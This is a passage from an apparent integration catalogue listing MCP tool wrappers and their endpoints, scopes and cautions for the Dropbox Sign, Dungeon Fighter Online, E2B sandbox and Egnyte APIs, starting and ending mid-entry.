Update Signature Request. Updates the email address and/or the name for a given signer on a signature request. POST /v3/signature_request/update/{signature_request_id} POST /api/v1/dropboxsign/signature_request/update/{signature_request_id}. Scopes: api. dropboxsign_post_team_create (write) — Create Team. Creates a new Team and makes you a member. You must not currently belong to a Team to invoke. POST /v3/team/create POST /api/v1/dropboxsign/team/create. Scopes: api. dropboxsign_post_team_remove_member (write) — Remove User from Team. Removes the provided user Account from your Team. If the Account had an outstanding invitation to your Team, the invitation will be expired. POST /v3/team/remove_member POST /api/v1/dropboxsign/team/remove_member. Scopes: api. dropboxsign_post_template_add_user_by_template_id (write) — Add User to Template. Gives the specified Account access to the specified Template. The specified Account must be a part of your Team. POST /v3/template/add_user/{template_id} POST /api/v1/dropboxsign/template/add_user/{template_id}. Scopes: api. dropboxsign_post_template_create (write) — Create Template. Creates a template that can be used in future signature requests. If client_id is provided, the template will be created as an embedded template. POST /v3/template/create POST /api/v1/dropboxsign/template/create. Scopes: api. dropboxsign_post_template_create_embedded_draft (write) — Create Embedded Template Draft. The first step in an embedded template workflow. Creates a draft template that can then be further set up in the template 'edit' stage. POST /v3/template/create_embedded_draft POST /api/v1/dropboxsign/template/create_embedded_draft. Scopes: api. dropboxsign_post_template_delete_by_template_id (write) — Delete Template. Completely deletes the template specified from the account. POST /v3/template/delete/{template_id} POST /api/v1/dropboxsign/template/delete/{template_id}. Scopes: api. dropboxsign_post_template_remove_user_by_template_id (write) — Remove User from Template. Removes the specified Account's access to the specified Template. POST /v3/template/remove_user/{template_id} POST /api/v1/dropboxsign/template/remove_user/{template_id}. Scopes: api. dropboxsign_post_template_update_files_by_template_id (write) — Update Template Files. Overlays a new file with the overlay of an existing template. The new file(s) must: 1. have the same or higher page count 2. the same orientation as the file(s) being replaced. POST /v3/template/update_files/{template_id} POST /api/v1/dropboxsign/template/update_files/{template_id}. Scopes: api. dropboxsign_post_unclaimed_draft_create (write) — Create Unclaimed Draft. Creates a new Draft that can be claimed using the claim URL. POST /v3/unclaimed_draft/create POST /api/v1/dropboxsign/unclaimed_draft/create. Scopes: api. dropboxsign_post_unclaimed_draft_create_embedded (write) — Create Embedded Unclaimed Draft. Creates a new Draft that can be claimed and used in an embedded iFrame. POST /v3/unclaimed_draft/create_embedded POST /api/v1/dropboxsign/unclaimed_draft/create_embedded. Scopes: api. dropboxsign_post_unclaimed_draft_create_embedded_with_template (write) — Create Embedded Unclaimed Draft with Template. Creates a new Draft with a previously saved template(s) that can be claimed and used in an embedded iFrame. POST /v3/unclaimed_draft/create_embedded_with_template POST /api/v1/dropboxsign/unclaimed_draft/create_embedded_with_template. Scopes: api. dropboxsign_post_unclaimed_draft_edit_and_resend_by_signature_request_id (write) — Edit and Resend Unclaimed Draft. Creates a new signature request from an embedded request that can be edited prior to being sent to the recipients. Parameter test_mode can be edited prior to request. POST /v3/unclaimed_draft/edit_and_resend/{signature_request_id} POST /api/v1/dropboxsign/unclaimed_draft/edit_and_resend/{signature_request_id}. Scopes: api. dropboxsign_put_account (write) — Update Account. Updates the properties and settings of your Account. Currently only allows for updates to the Callback URL and locale. PUT /v3/account PUT /api/v1/dropboxsign/account. Scopes: api. dropboxsign_put_api_app_by_client_id (write) — Update API App. Updates an existing API App. Can only be invoked for apps you own. Only the fields you provide will be updated. PUT /v3/api_app/{client_id} PUT /api/v1/dropboxsign/api_app/{client_id}. Scopes: api. dropboxsign_put_fax_line_add_user (write) — Add Fax Line User. Grants a user access to the specified Fax Line. PUT /v3/fax_line/add_user PUT /api/v1/dropboxsign/fax_line/add_user. Scopes: api. dropboxsign_put_fax_line_remove_user (write) — Remove Fax Line Access. Removes a user's access to the specified Fax Line. PUT /v3/fax_line/remove_user PUT /api/v1/dropboxsign/fax_line/remove_user. Scopes: api. dropboxsign_put_signature_request_edit_by_signature_request_id (write) — Edit Signature Request. Edits and sends a SignatureRequest with the submitted documents. PUT /v3/signature_request/edit/{signature_request_id} PUT /api/v1/dropboxsign/signature_request/edit/{signature_request_id}. Scopes: api. dropboxsign_put_signature_request_edit_embedded_by_signature_request_id (write) — Edit Embedded Signature Request. Edits a SignatureRequest with the submitted documents to be signed in an embedded iFrame. PUT /v3/signature_request/edit_embedded/{signature_request_id} PUT /api/v1/dropboxsign/signature_request/edit_embedded/{signature_request_id}. Scopes: api. dropboxsign_put_signature_request_edit_embedded_with_template_by_signature_request_id (write) — Edit Embedded Signature Request with Template. Edits a SignatureRequest based on the given Template(s) to be signed in an embedded iFrame. PUT /v3/signature_request/edit_embedded_with_template/{signature_request_id} PUT /api/v1/dropboxsign/signature_request/edit_embedded_with_template/{signature_request_id}. Scopes: api. dropboxsign_put_signature_request_edit_with_template_by_signature_request_id (write) — Edit Signature Request With Template. PUT /v3/signature_request/edit_with_template/{signature_request_id} PUT /api/v1/dropboxsign/signature_request/edit_with_template/{signature_request_id}. Scopes: api. dropboxsign_put_team (write) — Update Team. Updates the name of your Team. PUT /v3/team PUT /api/v1/dropboxsign/team. Scopes: api. dropboxsign_put_team_add_member (write) — Add User to Team. Invites a user (specified using the email_address parameter) to your Team. If the user does not currently have a Dropbox Sign Account, a new one will be created for them. PUT /v3/team/add_member PUT /api/v1/dropboxsign/team/add_member. Scopes: api. ================================================================================ ## Dungeon Fighter Online URL: https://www.agenticfabriq.com/integrations/dungeonfighteronline Section: Integrated Tools Dungeon Fighter Online — 25 MCP tools Provider key: dungeonfighteronline. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. dungeonfighteronline_get_df_item_hashtag (read) — List every item hashtag the catalogue uses -- the content-and-category tags such as 'Fixed Option', 'Crafting' or 'Hall of Dimensions' that items are grouped by. Takes no parameters; useful for learning the vocabulary before filtering an item search via GET /df/item-hashtag GET /api/v1/dungeonfighteronline/df/item-hashtag. Scopes: api. dungeonfighteronline_get_df_items (read) — Search the item catalogue by name. Matching is EXACT by default: pass wordType=full to match any item whose name contains the term, or wordType=front to match on a word prefix. The `q` parameter narrows further by level, rarity and type. Each row carries the 32-character `itemId` the item detail and shop tools take; the provider caps `limit` at 100 via GET /df/items GET /api/v1/dungeonfighteronline/df/items. Scopes: api. dungeonfighteronline_get_df_items_by_itemid (read) — Fetch one item's full record by id: name, rarity, type and sub-type, required level, fame, the jobs that can equip it, its flavour and mechanical text, and its stat lines including reinforcement and growth options via GET /df/items/{itemId} GET /api/v1/dungeonfighteronline/df/items/{itemId}. Scopes: api. dungeonfighteronline_get_df_items_by_itemid_shop (read) — Fetch the in-game shop listing for an item -- where it is sold and for what -- for the items that have one. An item that is not sold in the shop answers 404 `DNF003 NOT_FOUND_ITEM`, which is the item being absent from the shop rather than the id being wrong: a wrong id shape answers the same DNF003, while a path that does not exist answers DNF900 instead via GET /df/items/{itemId}/shop GET /api/v1/dungeonfighteronline/df/items/{itemId}/shop. Scopes: api. dungeonfighteronline_get_df_jobs (read) — List every job (class) and the full advancement tree under each one, nested tier by tier through `next`. This is where the `jobId` and `jobGrowId` values that filter the character searches and address the skill tools come from. Takes no parameters via GET /df/jobs GET /api/v1/dungeonfighteronline/df/jobs. Scopes: api. dungeonfighteronline_get_df_multi_items (read) — Fetch up to several items in one call by passing their ids comma-separated, which is the efficient way to resolve a character's whole equipment list. Duplicate ids collapse to one row via GET /df/multi/items GET /api/v1/dungeonfighteronline/df/multi/items. Scopes: api. dungeonfighteronline_get_df_multi_skills_by_jobid (read) — Fetch several of one job's skills in a single call by passing their ids comma-separated, which is the efficient way to describe a whole skill build read from the skill-style tool via GET /df/multi/skills/{jobId} GET /api/v1/dungeonfighteronline/df/multi/skills/{jobId}. Scopes: api. dungeonfighteronline_get_df_servers (read) — List every Dungeon Fighter Online game server with its id and display name. The GLOBAL service returns exactly two -- `cain` (Cain) and `siroco` (Sirocco) -- and those ids are what every character tool's `serverId` takes. Call this first: a character id is only meaningful together with the server it lives on via GET /df/servers GET /api/v1/dungeonfighteronline/df/servers. Scopes: api. dungeonfighteronline_get_df_servers_by_serverid_characters (read) — Find characters by name on one server, or on every server at once by passing `all` as the server id. Matching is EXACT by default; pass wordType=full to match any character whose name contains the term -- and pass it whenever you also filter by job, because jobId and jobGrowId are only honoured in `full` mode and otherwise return nothing at all. Each row carries the 32-character `characterId` that every other character tool needs, plus the character's level, job, advancement and fame via GET /df/servers/{serverId}/characters GET /api/v1/dungeonfighteronline/df/servers/{serverId}/characters. Scopes: api. dungeonfighteronline_get_df_servers_by_serverid_characters_by_characterid (read) — Fetch one character's profile: name, level, job and advancement, fame, adventure name and guild. The `serverId` must be the character's own server -- `all` is a search convenience on the collection routes, not an address for a single character via GET /df/servers/{serverId}/characters/{characterId} GET /api/v1/dungeonfighteronline/df/servers/{serverId}/characters/{characterId}. Scopes: api. dungeonfighteronline_get_df_servers_by_serverid_characters_by_characterid_equip_avatar (read) — Fetch the cosmetic avatar pieces a character is wearing, each with its item id, name, rarity, clone and the emblems slotted into it. Avatars carry real stat bonuses in this game, so this is not purely cosmetic information via GET /df/servers/{serverId}/characters/{characterId}/equip/avatar GET /api/v1/dungeonfighteronline/df/servers/{serverId}/characters/{characterId}/equip/avatar. Scopes: api. dungeonfighteronline_get_df_servers_by_serverid_characters_by_characterid_equip_creature (read) — Fetch the creature a character has equipped, with its artifacts and the stats each of them contributes via GET /df/servers/{serverId}/characters/{characterId}/equip/creature GET /api/v1/dungeonfighteronline/df/servers/{serverId}/characters/{characterId}/equip/creature. Scopes: api. dungeonfighteronline_get_df_servers_by_serverid_characters_by_characterid_equip_equipment (read) — Fetch the gear a character is wearing, slot by slot: weapon, title, armour pieces, accessories and special equipment, each with its item id, name, rarity, reinforcement and amplification, and the set it belongs to where it is part of one. The item and set ids returned here are what the item and set-item tools take via GET /df/servers/{serverId}/characters/{characterId}/equip/equipment GET /api/v1/dungeonfighteronline/df/servers/{serverId}/characters/{characterId}/equip/equipment. Scopes: api. dungeonfighteronline_get_df_servers_by_serverid_characters_by_characterid_equip_mist_assimilation (read) — Fetch the character's Mist Assimilation progression: the assimilated stats and the level reached on each via GET /df/servers/{serverId}/characters/{characterId}/equip/mist-assimilation GET /api/v1/dungeonfighteronline/df/servers/{serverId}/characters/{characterId}/equip/mist-assimilation. Scopes: api. dungeonfighteronline_get_df_servers_by_serverid_characters_by_characterid_equip_oath (read) — Fetch the character's Oath equipment -- the parallel progression set with its own slots and enchantments -- alongside the ordinary gear returned by the equipment tool via GET /df/servers/{serverId}/characters/{characterId}/equip/oath GET /api/v1/dungeonfighteronline/df/servers/{serverId}/characters/{characterId}/equip/oath. Scopes: api. dungeonfighteronline_get_df_servers_by_serverid_characters_by_characterid_skill_buff_equip_avatar (read) — Fetch the avatar pieces a character uses for their party buff skill -- the avatar half of the buff switch loadout via GET /df/servers/{serverId}/characters/{characterId}/skill/buff/equip/avatar GET /api/v1/dungeonfighteronline/df/servers/{serverId}/characters/{characterId}/skill/buff/equip/avatar. Scopes: api. dungeonfighteronline_get_df_servers_by_serverid_characters_by_characterid_skill_buff_equip_creature (read) — Fetch the creature a character uses for their party buff skill -- the creature half of the buff switch loadout via GET /df/servers/{serverId}/characters/{characterId}/skill/buff/equip/creature GET /api/v1/dungeonfighteronline/df/servers/{serverId}/characters/{characterId}/skill/buff/equip/creature. Scopes: api. dungeonfighteronline_get_df_servers_by_serverid_characters_by_characterid_skill_buff_equip_equipment (read) — Fetch the SWITCH gear a character uses for their party buff skill, which is a second loadout separate from the equipment tool's. Buffer characters maintain both; reading the ordinary equipment alone would describe half of what they own via GET /df/servers/{serverId}/characters/{characterId}/skill/buff/equip/equipment GET /api/v1/dungeonfighteronline/df/servers/{serverId}/characters/{characterId}/skill/buff/equip/equipment. Scopes: api. dungeonfighteronline_get_df_servers_by_serverid_characters_by_characterid_skill_style (read) — Fetch how a character has spent their skill points -- every active and passive skill with the level it is trained to, plus the skill style preset in use. This is the tool for reading someone's build via GET /df/servers/{serverId}/characters/{characterId}/skill/style GET /api/v1/dungeonfighteronline/df/servers/{serverId}/characters/{characterId}/skill/style. Scopes: api. dungeonfighteronline_get_df_servers_by_serverid_characters_by_characterid_status (read) — Fetch one character's full stat sheet -- strength, intelligence, vitality, spirit, attack and defence values, elemental damage and resistances, and the buff and status effects currently applied. This is the tool for 'how strong is this character', as distinct from what they are wearing via GET /df/servers/{serverId}/characters/{characterId}/status GET /api/v1/dungeonfighteronline/df/servers/{serverId}/characters/{characterId}/status. Scopes: api. dungeonfighteronline_get_df_servers_by_serverid_characters_fame (read) — List the highest-fame characters on one server, or across every server by passing `all`. Fame is this game's summary measure of character power, so this is the leaderboard. The response echoes the fame window it actually applied, which is the reliable way to confirm a filter took effect; the provider caps `limit` at 200, and `jobGrowId` must be sent together with `jobId` or the call is refused with a 400 that names no field via GET /df/servers/{serverId}/characters-fame GET /api/v1/dungeonfighteronline/df/servers/{serverId}/characters-fame. Scopes: api. dungeonfighteronline_get_df_setitems (read) — Search the set-item catalogue by name, with the same matching modes as the item search: EXACT by default, wordType=full for a substring match, wordType=front for a word prefix. Each row carries the `setItemId` the set detail tool takes via GET /df/setitems GET /api/v1/dungeonfighteronline/df/setitems. Scopes: api. dungeonfighteronline_get_df_setitems_by_setitemid (read) — Fetch one equipment set by id: its name and every piece that belongs to it, each with its slot, item id, name and rarity. The set ids appear on the pieces returned by a character's equipment via GET /df/setitems/{setItemId} GET /api/v1/dungeonfighteronline/df/setitems/{setItemId}. Scopes: api. dungeonfighteronline_get_df_skills_by_jobid (read) — List the skills available to one job advancement, each with its skill id, name, required level and whether it is active or passive. `jobGrowId` is REQUIRED despite being documented as optional: without it the provider answers 400 `DNF901 NOT_FOUND_SEARCH_VALUE`. Both ids come from the List jobs tool via GET /df/skills/{jobId} GET /api/v1/dungeonfighteronline/df/skills/{jobId}. Scopes: api. dungeonfighteronline_get_df_skills_by_jobid_by_skillid (read) — Fetch one skill's full description: its effect text, cost, cooldown, prerequisites, maximum level, and a `levelInfo` block describing EVERY level of the skill at once -- so there is nothing to select a level with, and nothing that needs a second call to read one via GET /df/skills/{jobId}/{skillId} GET /api/v1/dungeonfighteronline/df/skills/{jobId}/{skillId}. Scopes: api. ================================================================================ ## E2B URL: https://www.agenticfabriq.com/integrations/e2b Section: Integrated Tools E2B — 56 MCP tools Provider key: e2b. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. e2b_delete_events_webhooks_by_webhookid (write, destructive) — Delete event webhook via DELETE /events/webhooks/{webhookID}. Delete a registered webhook. DELETE /api/v1/e2b/events/webhooks/{webhookID}. Scopes: api. e2b_delete_sandboxes_by_sandboxid (write, destructive) — Kill sandbox via DELETE /sandboxes/{sandboxID}. Kill a sandbox DELETE /api/v1/e2b/sandboxes/{sandboxID}. Scopes: api. e2b_delete_secrets_by_secretid (write, destructive) — Delete a secret via DELETE /secrets/{secretID}. Revoke the secret and schedule its versions for cleanup. DELETE /api/v1/e2b/secrets/{secretID}. Scopes: api. e2b_delete_templates_by_templateid (write, destructive) — Delete template via DELETE /templates/{templateID}. Delete a template DELETE /api/v1/e2b/templates/{templateID}. Scopes: api. e2b_delete_templates_tags (write, destructive) — Delete template tags via DELETE /templates/tags. Delete multiple tags from templates DELETE /api/v1/e2b/templates/tags. Scopes: api. e2b_delete_volumes_by_volumeid (write, destructive) — Delete team volume via DELETE /volumes/{volumeID}. Delete a team volume DELETE /api/v1/e2b/volumes/{volumeID}. Scopes: api. e2b_get_events_sandboxes (read) — Team sandbox events via GET /events/sandboxes. Get all sandbox events for the team associated with the API key GET /api/v1/e2b/events/sandboxes. Scopes: api. e2b_get_events_sandboxes_by_sandboxid (read) — Sandbox events via GET /events/sandboxes/{sandboxID}. Get sandbox events GET /api/v1/e2b/events/sandboxes/{sandboxID}. Scopes: api. e2b_get_events_webhooks (read) — List event webhooks via GET /events/webhooks. List registered webhooks. GET /api/v1/e2b/events/webhooks. Scopes: api. e2b_get_events_webhooks_by_webhookid (read) — Event webhook via GET /events/webhooks/{webhookID}. Get a registered webhook. GET /api/v1/e2b/events/webhooks/{webhookID}. Scopes: api. e2b_get_events_webhooks_by_webhookid_deliveries (read) — Webhook delivery attempts via GET /events/webhooks/{webhookID}/deliveries. List webhook delivery attempts. GET /api/v1/e2b/events/webhooks/{webhookID}/deliveries. Scopes: api. e2b_get_events_webhooks_by_webhookid_stats (read) — Webhook delivery stats via GET /events/webhooks/{webhookID}/stats. Get webhook delivery aggregate stats. GET /api/v1/e2b/events/webhooks/{webhookID}/stats. Scopes: api. e2b_get_health (read) — Health check via GET /health. GET /api/v1/e2b/health. Scopes: api. e2b_get_sandboxes (read) — List running sandboxes via GET /sandboxes. List all running sandboxes. Use GET /v2/sandboxes instead. DEPRECATED by E2B in its own API specification -- it still answers today, but prefer the replacement named above where one is given. GET /api/v1/e2b/sandboxes. Scopes: api. e2b_get_sandboxes_by_sandboxid (read) — Sandbox via GET /sandboxes/{sandboxID}. Get a sandbox by id GET /api/v1/e2b/sandboxes/{sandboxID}. Scopes: api. e2b_get_sandboxes_by_sandboxid_logs (read) — Sandbox logs via GET /sandboxes/{sandboxID}/logs. Get sandbox logs. Use /v2/sandboxes/{sandboxID}/logs instead. DEPRECATED by E2B in its own API specification -- it still answers today, but prefer the replacement named above where one is given. GET /api/v1/e2b/sandboxes/{sandboxID}/logs. Scopes: api. e2b_get_sandboxes_by_sandboxid_metrics (read) — Sandbox metrics via GET /sandboxes/{sandboxID}/metrics. Get sandbox metrics GET /api/v1/e2b/sandboxes/{sandboxID}/metrics. Scopes: api. e2b_get_sandboxes_metrics (read) — List sandbox metrics via GET /sandboxes/metrics. List metrics for given sandboxes GET /api/v1/e2b/sandboxes/metrics. Scopes: api. e2b_get_secrets (read) — List project secrets via GET /secrets. List the project's secrets. No response carries a secret value. GET /api/v1/e2b/secrets. Scopes: api. e2b_get_secrets_by_secretid (read) — Get a secret via GET /secrets/{secretID}. Get one secret's metadata, selected by identifier or name. GET /api/v1/e2b/secrets/{secretID}. Scopes: api. e2b_get_snapshots (read) — List snapshots via GET /snapshots. List all snapshots for the team GET /api/v1/e2b/snapshots. Scopes: api. e2b_get_teams_by_teamid_metrics (read) — Team metrics via GET /teams/{teamID}/metrics. Get metrics for the team GET /api/v1/e2b/teams/{teamID}/metrics. Scopes: api. e2b_get_teams_by_teamid_metrics_max (read) — Maximum team metrics via GET /teams/{teamID}/metrics/max. Get the maximum metrics for the team in the given interval GET /api/v1/e2b/teams/{teamID}/metrics/max. Scopes: api. e2b_get_templates (read) — List templates via GET /templates. List all templates DEPRECATED by E2B in its own API specification -- it still answers today, but prefer the replacement named above where one is given. GET /api/v1/e2b/templates. Scopes: api. e2b_get_templates_aliases_by_alias (read) — Check template alias via GET /templates/aliases/{alias}. Check if template with given alias exists GET /api/v1/e2b/templates/aliases/{alias}. Scopes: api. e2b_get_templates_by_templateid (read) — List template builds via GET /templates/{templateID}. List all builds for a template GET /api/v1/e2b/templates/{templateID}. Scopes: api. e2b_get_templates_by_templateid_builds_by_buildid_logs (read) — Template build logs via GET /templates/{templateID}/builds/{buildID}/logs. Get template build logs GET /api/v1/e2b/templates/{templateID}/builds/{buildID}/logs. Scopes: api. e2b_get_templates_by_templateid_builds_by_buildid_status (read) — Template build status via GET /templates/{templateID}/builds/{buildID}/status. Get template build info GET /api/v1/e2b/templates/{templateID}/builds/{buildID}/status. Scopes: api. e2b_get_templates_by_templateid_files_by_hash (read) — Template build file upload URL via GET /templates/{templateID}/files/{hash}. Get an upload link for a tar file containing build layer files GET /api/v1/e2b/templates/{templateID}/files/{hash}. Scopes: api. e2b_get_templates_by_templateid_tags (read) — List template tags via GET /templates/{templateID}/tags. List all tags for a template GET /api/v1/e2b/templates/{templateID}/tags. Scopes: api. e2b_get_v2_sandboxes (read) — List sandboxes (v2) via GET /v2/sandboxes. List all sandboxes GET /api/v1/e2b/v2/sandboxes. Scopes: api. e2b_get_v2_sandboxes_by_sandboxid_logs (read) — Sandbox logs (v2) via GET /v2/sandboxes/{sandboxID}/logs. Get sandbox logs GET /api/v1/e2b/v2/sandboxes/{sandboxID}/logs. Scopes: api. e2b_get_v2_templates (read) — List templates (v2) via GET /v2/templates. List all templates GET /api/v1/e2b/v2/templates. Scopes: api. e2b_get_volumes (read) — List team volumes via GET /volumes. List all team volumes GET /api/v1/e2b/volumes. Scopes: api. e2b_get_volumes_by_volumeid (read) — Team volume via GET /volumes/{volumeID}. Get team volume info GET /api/v1/e2b/volumes/{volumeID}. Scopes: api. e2b_patch_events_webhooks_by_webhookid (write) — Update event webhook via PATCH /events/webhooks/{webhookID}. Update a registered webhook configuration. PATCH /api/v1/e2b/events/webhooks/{webhookID}. Scopes: api. e2b_patch_templates_by_templateid (write) — Update template via PATCH /templates/{templateID}. DEPRECATED by E2B in its own API specification -- it still answers today, but prefer the replacement named above where one is given. PATCH /api/v1/e2b/templates/{templateID}. Scopes: api. e2b_patch_v2_templates_by_templateid (write) — Update template (v2) via PATCH /v2/templates/{templateID}. Update template PATCH /api/v1/e2b/v2/templates/{templateID}. Scopes: api. e2b_post_events_webhooks (write) — Register event webhook via POST /events/webhooks. Register events webhook. POST /api/v1/e2b/events/webhooks. Scopes: api. e2b_post_sandboxes (write) — Create sandbox via POST /sandboxes. Create a sandbox from the template. Use POST /v2/sandboxes instead. DEPRECATED by E2B in its own API specification -- it still answers today, but prefer the replacement named above where one is given. POST /api/v1/e2b/sandboxes. Scopes: api. e2b_post_sandboxes_by_sandboxid_connect (write) — Connect sandbox via POST /sandboxes/{sandboxID}/connect. Returns sandbox details. If the sandbox is paused, it will be resumed. TTL is only extended. Use POST /v2/sandboxes/{sandboxID}/connect instead. DEPRECATED by E2B in its own API specification -- it still answers today, but prefer the replacement named above where one is given. POST /api/v1/e2b/sandboxes/{sandboxID}/connect. Scopes: api. e2b_post_sandboxes_by_sandboxid_fork (write) — Fork sandbox via POST /sandboxes/{sandboxID}/fork. Fork the sandbox: checkpoint the running sandbox in place (it is briefly paused, snapshotted with its full memory state, and resumed on its node, keeping its ID and expiration untouched) and create count new sandboxes from that snapshot. Returns one result per requested fork, each carrying either the created sandbox or the error that prevented it from starting. A non-201 status means the request failed before any fork was attempted. POST /api/v1/e2b/sandboxes/{sandboxID}/fork. Scopes: api. e2b_post_sandboxes_by_sandboxid_pause (write, destructive) — Pause sandbox via POST /sandboxes/{sandboxID}/pause. Pause the sandbox DESTRUCTIVE TO A RUNNING WORKLOAD: this suspends a live sandbox and every process inside it stops. It is reversible with Resume sandbox, but do not call it speculatively against a sandbox someone is using. POST /api/v1/e2b/sandboxes/{sandboxID}/pause. Scopes: api. e2b_post_sandboxes_by_sandboxid_refreshes (write) — Refresh sandbox via POST /sandboxes/{sandboxID}/refreshes. Refresh the sandbox extending its time to live POST /api/v1/e2b/sandboxes/{sandboxID}/refreshes. Scopes: api. e2b_post_sandboxes_by_sandboxid_resume (write) — Resume sandbox via POST /sandboxes/{sandboxID}/resume. Resume the sandbox DEPRECATED by E2B in its own API specification -- it still answers today, but prefer the replacement named above where one is given. POST /api/v1/e2b/sandboxes/{sandboxID}/resume. Scopes: api. e2b_post_sandboxes_by_sandboxid_snapshots (write) — Create snapshot via POST /sandboxes/{sandboxID}/snapshots. Create a persistent snapshot from the sandbox's current state. Snapshots can be used to create new sandboxes and persist beyond the original sandbox's lifetime. POST /api/v1/e2b/sandboxes/{sandboxID}/snapshots. Scopes: api. e2b_post_sandboxes_by_sandboxid_timeout (write, destructive) — Set sandbox timeout via POST /sandboxes/{sandboxID}/timeout. Set the timeout for the sandbox. The sandbox will expire x seconds from the time of the request. Calling this method multiple times overwrites the TTL, each time using the current timestamp as the starting point to measure the timeout duration. DESTRUCTIVE TO A RUNNING WORKLOAD: this OVERWRITES the sandbox's time to live, measured from the moment of the request, so a small value kills a running sandbox and the previous expiry cannot be recovered. E2B exposes no DELETE verb for this effect, which is why it is marked destructive. POST /api/v1/e2b/sandboxes/{sandboxID}/timeout. Scopes: api. e2b_post_secrets (write) — Create a secret via POST /secrets. Create a secret by storing a runtime marker as its first version. The response carries metadata only. POST /api/v1/e2b/secrets. Scopes: api. e2b_post_secrets_by_secretid (write) — Update a secret via POST /secrets/{secretID}. Replace the secret's stored marker by appending a new version. The response carries metadata only. POST /api/v1/e2b/secrets/{secretID}. Scopes: api. e2b_post_templates_tags (write) — Assign template tags via POST /templates/tags. Assign tag(s) to a template build POST /api/v1/e2b/templates/tags. Scopes: api. e2b_post_v2_sandboxes (write) — Create sandbox (v2) via POST /v2/sandboxes. Create a sandbox from the template. All system communication with the sandbox is secured. POST /api/v1/e2b/v2/sandboxes. Scopes: api. e2b_post_v2_sandboxes_by_sandboxid_connect (write) — Connect sandbox (v2) via POST /v2/sandboxes/{sandboxID}/connect. Returns sandbox details. If the sandbox is paused, it will be resumed. TTL is only extended. The request body is optional; an omitted timeout defaults to 300 seconds. POST /api/v1/e2b/v2/sandboxes/{sandboxID}/connect. Scopes: api. e2b_post_v2_templates_by_templateid_builds_by_buildid (write) — Start template build (v2) via POST /v2/templates/{templateID}/builds/{buildID}. Start the build POST /api/v1/e2b/v2/templates/{templateID}/builds/{buildID}. Scopes: api. e2b_post_v3_templates (write) — Create template (v3) via POST /v3/templates. Create a new template POST /api/v1/e2b/v3/templates. Scopes: api. e2b_post_volumes (write) — Create team volume via POST /volumes. Create a new team volume POST /api/v1/e2b/volumes. Scopes: api. e2b_put_sandboxes_by_sandboxid_network (write, destructive) — Update sandbox network via PUT /sandboxes/{sandboxID}/network. Update the network configuration for a running sandbox. Replaces the current egress rules with the provided configuration. Omitting field clears it. DESTRUCTIVE TO A RUNNING WORKLOAD: this REPLACES a running sandbox's egress rules wholesale and, in E2B's own words, 'omitting field clears it' -- so a partial body silently removes network configuration that cannot be read back from the API to restore. PUT /api/v1/e2b/sandboxes/{sandboxID}/network. Scopes: api. ================================================================================ ## Egnyte URL: https://www.agenticfabriq.com/integrations/egnyte Section: Integrated Tools Egnyte — 126 MCP tools Provider key: egnyte. Scopes: Egnyte.ai, Egnyte.audit, Egnyte.bookmark, Egnyte.controlleddocs, Egnyte.documentportal, Egnyte.etmf, Egnyte.filesystem, Egnyte.group, Egnyte.launchwebsession, Egnyte.link, Egnyte.permission, Egnyte.projectfolders, Egnyte.sign, Egnyte.uploadrequests, Egnyte.user, Egnyte.webhooks. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. egnyte_delete_pubapi_v1_bookmarks_by_id (write, destructive) — Delete bookmark via DELETE /pubapi/v1/bookmarks/{id} DELETE /api/v1/egnyte/pubapi/v1/bookmarks/{id}. Scopes: Egnyte.bookmark. egnyte_delete_pubapi_v1_fs_by_full_path_to_file_folder (write, destructive) — Delete a file or folder via DELETE /pubapi/v1/fs/{path} DELETE /api/v1/egnyte/pubapi/v1/fs/{path}. Scopes: Egnyte.filesystem. egnyte_delete_pubapi_v1_links_by_link_id (write, destructive) — Delete a link via DELETE /pubapi/v1/links/{link_id} DELETE /api/v1/egnyte/pubapi/v1/links/{link_id}. Scopes: Egnyte.link. egnyte_delete_pubapi_v1_notes_by_uuid (write, destructive) — Delete comment via DELETE /pubapi/v1/notes/{uuid} DELETE /api/v1/egnyte/pubapi/v1/notes/{uuid}. Scopes: Egnyte.filesystem. egnyte_delete_pubapi_v1_properties_project_tag_custom_fields_by_field_name (write, destructive) — Delete a custom field definition via DELETE /pubapi/v1/properties/project-tag/custom-fields/{field_name} DELETE /api/v1/egnyte/pubapi/v1/properties/project-tag/custom-fields/{field_name}. Scopes: Egnyte.projectfolders. egnyte_delete_pubapi_v1_webhooks_by_webhookid (write, destructive) — Delete webhook via DELETE /pubapi/v1/webhooks/{webhookId} DELETE /api/v1/egnyte/pubapi/v1/webhooks/{webhookId}. Scopes: Egnyte.webhooks. egnyte_delete_pubapi_v2_groups_by_group_id (write, destructive) — Delete a group via DELETE /pubapi/v2/groups/{group_id} DELETE /api/v1/egnyte/pubapi/v2/groups/{group_id}. Scopes: Egnyte.group. egnyte_delete_pubapi_v2_project_folders_by_project_id (write, destructive) — Delete project via DELETE /pubapi/v2/project-folders/{project_id} DELETE /api/v1/egnyte/pubapi/v2/project-folders/{project_id}. Scopes: Egnyte.projectfolders. egnyte_delete_pubapi_v2_users_by_id (write, destructive) — Delete single user via DELETE /pubapi/v2/users/{id} DELETE /api/v1/egnyte/pubapi/v2/users/{id}. Scopes: Egnyte.user. egnyte_get_pubapi_v1_ai_agents_by_agentid_ask_by_requestid_status (read) — Get agent execution status via GET /pubapi/v1/ai/agents/{agentId}/ask/{requestId}/status GET 